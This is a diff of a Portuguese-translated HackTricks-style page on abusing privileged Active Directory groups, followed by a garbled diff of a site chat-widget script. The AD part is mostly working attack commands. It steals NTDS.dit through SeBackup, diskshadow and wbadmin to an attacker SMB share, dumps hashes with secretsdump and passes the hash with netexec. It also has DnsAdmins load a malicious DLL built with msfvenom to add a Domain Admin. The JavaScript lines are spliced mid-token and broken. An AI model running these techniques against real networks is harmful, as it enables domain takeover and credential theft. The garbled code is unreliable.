A associação ao grupo `Backup Operators` fornece acesso ao sistema de arquivos `DC01` devido aos privilégios `SeBackup` e `SeRestore`. Esses privilégios permitem travessia de pastas, listagem e cópia de arquivos, mesmo sem permissões explícitas, usando a flag `FILE_FLAG_BACKUP_SEMANTICS`. É necessário utilizar scripts específicos para esse processo.
Para listar os membros do grupo, execute:
```bash
@ -64,7 +64,7 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse
Para aproveitar esses privilégios localmente, os seguintes passos são empregados:
1. Importar bibliotecas necessárias:
1. Importe as bibliotecas necessárias:
```bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
```
3. Acesse e copie arquivos de diretórios restritos, por exemplo:
3. Acessar e copiar arquivos de diretórios restritos, por exemplo:
```bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
```
### AD Attack
O acesso direto ao sistema de arquivos do Controlador de Domínio permite o roubo do banco de dados `NTDS.dit`, que contém todos os hashes NTLM para usuários e computadores do domínio.
Acesso direto ao sistema de arquivos do Domain Controller permite o roubo do banco de dados `NTDS.dit`, que contém todos os hashes NTLM dos usuários e computadores do domínio.
#### Using diskshadow.exe
#### Usando diskshadow.exe
1. Crie uma cópia sombra do drive `C`:
1. Crie uma cópia sombra da unidade `C`:
```cmd
diskshadow.exe
set verbose on
@ -98,7 +98,7 @@ expose %cdrive% F:
end backup
exit
```
2. Copie `NTDS.dit` da cópia sombra:
2. Copiar `NTDS.dit` da shadow copy:
```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
@ -106,18 +106,26 @@ Alternativamente, use `robocopy` para copiar arquivos:
```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
3. Extraia `SYSTEM` e `SAM` para recuperação de hash:
3. Extrair `SYSTEM` e `SAM` para recuperação de hashes:
```cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
4. Recupere todos os hashes do `NTDS.dit`:
4. Recuperar todos os hashes de `NTDS.dit`:
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
5. Pós-extração: Pass-the-Hash para DA
```bash
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
```
#### Usando wbadmin.exe
1. Configure o sistema de arquivos NTFS para o servidor SMB na máquina do atacante e armazene em cache as credenciais SMB na máquina alvo.
1. Configure um filesystem NTFS para o servidor SMB na máquina atacante e faça cache das credenciais SMB na máquina alvo.
2. Use `wbadmin.exe` para backup do sistema e extração do `NTDS.dit`:
```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
@ -126,23 +134,29 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
```
Para uma demonstração prática, veja [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins
Membros do grupo **DnsAdmins** podem explorar seus privilégios para carregar uma DLL arbitrária com privilégios de SYSTEM em um servidor DNS, frequentemente hospedado em Controladores de Domínio. Essa capacidade permite um potencial de exploração significativo.
Membros do grupo **DnsAdmins** podem explorar seus privilégios para carregar uma DLL arbitrária com privilégios SYSTEM em um servidor DNS, frequentemente hospedado em controladores de domínio. Essa capacidade permite um potencial de exploração significativo.
Para listar os membros do grupo DnsAdmins, use:
```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
```
### Executar DLL arbitrária
### Executar DLL arbitrária (CVE202140469)
> [!NOTE]
> Esta vulnerabilidade permite a execução de código arbitrário com privilégios SYSTEM no serviço DNS (geralmente dentro dos DCs). Este problema foi corrigido em 2021.
Membros podem fazer o servidor DNS carregar uma DLL arbitrária (localmente ou de um compartilhamento remoto) usando comandos como:
```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
```
```c
@ -158,7 +172,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
```
Reiniciar o serviço DNS (o que pode exigir permissões adicionais) é necessário para que o DLL seja carregado:
Reiniciar o serviço DNS (o que pode exigir permissões adicionais) é necessário para que a DLL seja carregada:
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
@ -167,73 +181,77 @@ Para mais detalhes sobre este vetor de ataque, consulte ired.team.
#### Mimilib.dll
Também é viável usar mimilib.dll para execução de comandos, modificando-o para executar comandos específicos ou shells reversos. [Confira este post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) para mais informações.
Também é possível usar mimilib.dll para execução de comandos, modificando-o para executar comandos específicos ou reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
### Registro WPAD para MitM
DnsAdmins podem manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) criando um registro WPAD após desativar a lista de bloqueio de consultas global. Ferramentas como Responder ou Inveigh podem ser usadas para spoofing e captura de tráfego de rede.
DnsAdmins pode manipular registros DNS para realizar ataques Man-in-the-Middle (MitM) criando um registro WPAD após desabilitar a global query block list. Ferramentas como Responder ou Inveigh podem ser usadas para spoofing e capturar tráfego de rede.
### Leitores de Log de Eventos
Membros podem acessar logs de eventos, potencialmente encontrando informações sensíveis, como senhas em texto simples ou detalhes de execução de comandos:
### Leitores de logs de eventos
Membros podem acessar logs de eventos, potencialmente encontrando informações sensíveis como senhas em texto claro ou detalhes de execução de comandos:
```bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Permissões do Windows do Exchange
## Exchange Windows Permissions
Este grupo pode modificar DACLs no objeto do domínio, potencialmente concedendo privilégios DCSync. Técnicas para escalonamento de privilégios explorando este grupo estão detalhadas no repositório Exchange-AD-Privesc do GitHub.
Este grupo pode modificar DACLs no objeto de domínio, potencialmente concedendo privilégios DCSync. Técnicas de escalonamento de privilégios que exploram esse grupo estão detalhadas no Exchange-AD-Privesc GitHub repo.
```bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Administradores do Hyper-V
## Hyper-V Administrators
Administradores do Hyper-V têm acesso total ao Hyper-V, o que pode ser explorado para obter controle sobre Controladores de Domínio virtualizados. Isso inclui clonar DCs ao vivo e extrair hashes NTLM do arquivo NTDS.dit.
Hyper-V Administrators têm acesso total ao Hyper-V, o que pode ser explorado para obter controle sobre Controladores de Domínio virtualizados. Isso inclui clonar DCs em execução e extrair NTLM hashes do arquivo NTDS.dit.
### Exemplo de Exploração
### Exploitation Example
O Serviço de Manutenção da Mozilla do Firefox pode ser explorado por Administradores do Hyper-V para executar comandos como SYSTEM. Isso envolve criar um link físico para um arquivo protegido do SYSTEM e substituí-lo por um executável malicioso:
O Mozilla Maintenance Service do Firefox pode ser explorado por Hyper-V Administrators para executar comandos como SYSTEM. Isso envolve criar um hard link para um arquivo SYSTEM protegido e substituílo por um executável malicioso:
```bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
```
Nota: A exploração de hard links foi mitigada em atualizações recentes do Windows.
Nota: Hard link exploitation foi mitigada em atualizações recentes do Windows.
## Gerenciamento de Organização
## Group Policy Creators Owners
Em ambientes onde o **Microsoft Exchange** está implantado, um grupo especial conhecido como **Gerenciamento de Organização** possui capacidades significativas. Este grupo tem o privilégio de **acessar as caixas de correio de todos os usuários do domínio** e mantém **controle total sobre a Unidade Organizacional (OU) 'Grupos de Segurança do Microsoft Exchange'**. Este controle inclui o grupo **`Exchange Windows Permissions`**, que pode ser explorado para escalonamento de privilégios.
Este grupo permite que os membros criem Group Policies no domínio. No entanto, seus membros não podem aplicar políticas de grupo a usuários ou grupos, nem editar GPOs existentes.
### Exploração de Privilégios e Comandos
## Organization Management
#### Operadores de Impressão
Em ambientes onde o **Microsoft Exchange** está implantado, um grupo especial conhecido como **Organization Management** possui capacidades significativas. Esse grupo tem privilégio para **acessar as caixas de correio de todos os usuários do domínio** e mantém **controle total sobre a Unidade Organizacional (OU) 'Microsoft Exchange Security Groups'**. Esse controle inclui o grupo **`Exchange Windows Permissions`**, que pode ser explorado para escalada de privilégios.
Membros do grupo **Operadores de Impressão** são dotados de vários privilégios, incluindo o **`SeLoadDriverPrivilege`**, que lhes permite **fazer logon localmente em um Controlador de Domínio**, desligá-lo e gerenciar impressoras. Para explorar esses privilégios, especialmente se **`SeLoadDriverPrivilege`** não estiver visível em um contexto não elevado, é necessário contornar o Controle de Conta de Usuário (UAC).
### Privilege Exploitation and Commands
Para listar os membros deste grupo, o seguinte comando PowerShell é utilizado:
#### Print Operators
Membros do **Print Operators** possuem vários privilégios, incluindo o **`SeLoadDriverPrivilege`**, que lhes permite **log on locally to a Domain Controller**, desligá-lo e gerenciar impressoras. Para explorar esses privilégios, especialmente se **`SeLoadDriverPrivilege`** não for visível em um contexto não elevado, é necessário contornar o User Account Control (UAC).
Para listar os membros deste grupo, o seguinte comando PowerShell é usado:
```bash
Get-NetGroupMember -Identity "Print Operators" -Recurse
```
Para técnicas de exploração mais detalhadas relacionadas ao **`SeLoadDriverPrivilege`**, deve-se consultar recursos de segurança específicos.
Para técnicas de exploração mais detalhadas relacionadas a **`SeLoadDriverPrivilege`**, deve-se consultar recursos de segurança específicos.
#### Usuários de Área de Trabalho Remota
Os membros deste grupo têm acesso a PCs via Protocolo de Área de Trabalho Remota (RDP). Para enumerar esses membros, comandos do PowerShell estão disponíveis:
Os membros deste grupo têm acesso a computadores via Remote Desktop Protocol (RDP). Para enumerar esses membros, estão disponíveis comandos PowerShell:
```bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
```
Mais informações sobre a exploração do RDP podem ser encontradas em recursos dedicados de pentesting.
Mais informações sobre exploração de RDP podem ser encontradas em recursos dedicados de pentesting.
#### Usuários de Gerenciamento Remoto
Membros podem acessar PCs através do **Windows Remote Management (WinRM)**. A enumeração desses membros é realizada através de:
Os membros podem acessar computadores via **Windows Remote Management (WinRM)**. A enumeração desses membros é feita através de:
```bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
```
Para técnicas de exploração relacionadas ao **WinRM**, documentação específica deve ser consultada.
Para técnicas de exploração relacionadas ao **WinRM**, deve-se consultar a documentação específica.
#### Operadores de Servidor
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,7 +5,10 @@
(() => {
const KEY = 'htSummerDiscountsDismissed';
const IMG = '/images/discount.jpeg';
const IMG = '/ima * HackTricks AI Chat Widget v1.17 enhanced resizable sidebar
* ---------------------------------------------------
* Markdown rendering + sanitised (same as before)
* ENHANCED: improved dragtoresize panel with better UXdiscount.jpeg';
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
@ -13,7 +16,20 @@
if (localStorage.getItem(KEY) === 'true') return;
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
<div id="ht-ai-header">
<strong>HackTricks AI Chat</strong>
<span style="font-size:11px;opacity:0.6;margin-left:8px;"> Drag edge to resize</span>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset"></button>
<span id="ht-ai-close" title="Close"></span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;tag), { style: css });
// --- Overlay (blur + dim) ---
const overlay = $('div', `
@ -111,7 +127,7 @@
const MAX_CONTEXT = 3000; // highlightedtext char limit
const MAX_QUESTION = 500; // question char limit
const MIN_W = 250; // ← resize limits →
const MAX_W = 600;
const MAX_W = 800;
const DEF_W = 350; // default width (if nothing saved)
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
@ -345,8 +361,9 @@
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
#ht-ai-header strong{flex-shrink:0}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
@ -367,8 +384,10 @@
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}
/* NEW: resizer handle */
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
@ -432,24 +451,43 @@
const onMove = (e) => {
if (!dragging) return;
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
e.preventDefault();
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
const dx = startX - clientX; // dragging leftwards ⇒ +dx
let newW = startW + dx;
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
panel.style.width = newW + "px";
};
const onUp = () => {
if (!dragging) return;
dragging = false;
handle.style.background = "";
document.body.style.userSelect = "";
document.body.style.cursor = "";
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
document.removeEventListener("mousemove", onMove);
document.removeEventListener("mouseup", onUp);
document.removeEventListener("touchmove", onMove);
document.removeEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", (e) => {
const onStart = (e) => {
e.preventDefault();
dragging = true;
startX = e.clientX;
startX = e.clientX || (e.touches && e.touches[0].clientX);
startW = parseInt(window.getComputedStyle(panel).width, 10);
handle.style.background = "rgba(255,255,255,.25)";
document.body.style.userSelect = "none";
document.body.style.cursor = "ew-resize";
document.addEventListener("mousemove", onMove);
document.addEventListener("mouseup", onUp);
});
document.addEventListener("touchmove", onMove, { passive: false });
document.addEventListener("touchend", onUp);
};
handle.addEventListener("mousedown", onStart);
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();